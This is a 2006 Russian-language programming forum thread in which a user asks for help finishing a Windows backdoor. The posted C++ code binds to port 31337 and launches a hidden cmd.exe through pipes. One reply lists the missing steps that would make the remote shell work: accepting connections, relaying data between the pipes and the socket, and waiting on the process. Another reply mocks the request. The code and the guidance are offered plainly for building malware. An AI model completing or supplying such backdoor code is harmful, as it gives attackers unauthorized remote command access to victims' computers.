Справочник функций

Ваш аккаунт

Войти через: 
Забыли пароль?
Регистрация
Информацию о новых материалах можно получать и без регистрации:

Почтовая рассылка

Подписчиков: -1
Последний выпуск: 19.06.2015

Back Door - одни вопросы...

347
15 июня 2006 года
Maniak
319 / / 05.11.2005
Народ помагите с простеньким бэк дорам...Что то тут с пайпами не то...
и циклить что то надо тока не знаю что...Объясните что тут к чему
ЗЫ: просто я пока С++ только начинаю изучать и не все понятно тут (делфя будет попроще...)

#include <winsock2.h>

int main(){

SOCKET s;
struct sockaddr_in localaddr, clientaddr;
WSADATA wsaData;
typedef struct {HANDLE hRead; HANDLE hWrite;} PIPE;
PIPE input, output;
SECURITY_ATTRIBUTES sa;
STARTUPINFO st;
PROCESS_INFORMATION pr;

WSAStartup(MAKEWORD(2,2), &wsaData);

s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

localaddr.sin_addr.s_addr = htonl(INADDR_ANY);
localaddr.sin_family = AF_INET;
localaddr.sin_port = htons(31337);

bind(s, (struct sockaddr *)&localaddr, sizeof(localaddr));
listen(s, 0);

sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.bInheritHandle = TRUE;
sa.lpSecurityDescriptor = NULL;

CreatePipe(&input.hRead, &input.hWrite, &sa, 0);
CreatePipe(&output.hRead, &output.hWrite, &sa, 0);

ZeroMemory(&st, sizeof(STARTUPINFO));
st.cb = sizeof(STARTUPINFO);
st.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
st.wShowWindow = SW_HIDE;
st.hStdInput = input.hRead;
st.hStdOutput = output.hWrite;
st.hStdError = output.hWrite;

CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &st, &pr);

}
11K
15 июня 2006 года
Ireul
90 / / 15.06.2006
Я ещё немножко взгляну на этот код вечерком, и объясню в деталях. А пока видна одна грубая ошибка - это выход из майна, и, собственно, завершение программы. Создал процесс - жди его завершения, что-ли...
WaitForSingleObject в зубы.... и думать дальше.
347
16 июня 2006 года
Maniak
319 / / 05.11.2005
И что все...один малчит:(... а другие не знают...?
11K
16 июня 2006 года
Ireul
90 / / 15.06.2006
Значит ламерство тут в чём:
1) А где, собственно код передачи инфы с пайпов в сокет или наоборот? ReadFile()/WriteFile() в цикле.
2) А где, собственно, код проверки запросов на подключение и подключение сокета? accept()
3) Уверен что с пайпами не напутал входы и выходы? Я вот в первых опытах с пайпами долго матюгался пока дошло...
4) Про это я уже говорил, но создал процесс - и он работает независимо. Тут тебе не дос, хочешь чтобы твой процесс жил пока жив тот - жди. WaitForSingleObject().

Короче если ты это назвал бэкдором, то тебе в сообщество чайников... народ видимо просто не счёл нужным это объяснять...
347
17 июня 2006 года
Maniak
319 / / 05.11.2005
да не в курсе я просто как подобные бэкдоры пишутся (с перенапровлением в cmd), да и не бэкдор это а часть кода :)

поделитесь кто исходниками такова вот быкдора или юбъясните чего тут есче даписать....
11K
17 июня 2006 года
Ireul
90 / / 15.06.2006
Допиши к этому коду мои 4 пункта - и всё будет работать. Больше тебе ничего нужно не будет. Другой вопрос если ты хочешь чтобы твой бэкдор не создавал 2 чёрных окошка на удалённом компе, как он у тебя сейчас сделает :)
347
19 июня 2006 года
Maniak
319 / / 05.11.2005
А кто нибудь может выложить пример?...
3
19 июня 2006 года
Green
4.8K / / 20.01.2000
[QUOTE=Maniak]А кто нибудь может выложить пример?...[/QUOTE]
Народ, помогите челу написать вирус!
Чтобы с дискеты запускалась. Жмякнул в виндах на а:\ и прога запущена через BIOS из com-файла с помощью boot-loadera. О как! ( Ссылка на эту солянку: http://forum.codenet.ru/showthread.php?t=27030 ).

Хочется быть кул хацкером, но учиться некогда (точнее влом), а хочется быть уже сейчас!

Может присваивать звание хакера в кредит?
Ну типа сейчас назыаем, а чел почивая на лаврах (и баксах ограбленных банков) учится в кредит... Ну типа изучает одну главу в счет погашения долга и ещё несколько в счет погащения кредита. Или можно общественно-полезным трудом проценты брать...
Рекламный сленг:
"Хакер-тимуровец! Стань хакером уже сейчас!"
347
20 июня 2006 года
Maniak
319 / / 05.11.2005
[quote=Green]
Хочется быть кул хацкером, но учиться некогда (точнее влом), а хочется быть уже сейчас!
[/quote]

лучше научил бы вместо того что бы .... [COLOR=red][censored][/COLOR]
3
21 июня 2006 года
Green
4.8K / / 20.01.2000
-Так вы за меня и жевать будете?
- Ага!
(с)"Вовка в тредивятом царстве"

По данной теме полный интернет информации. Жуй сам.
По поводу сбособов заражения информация на блюдечке слишком дорого стоит.
Реклама на сайте | Обмен ссылками | Ссылки | Экспорт (RSS) | Контакты
Добавить статью | Добавить исходник | Добавить хостинг-провайдера | Добавить сайт в каталог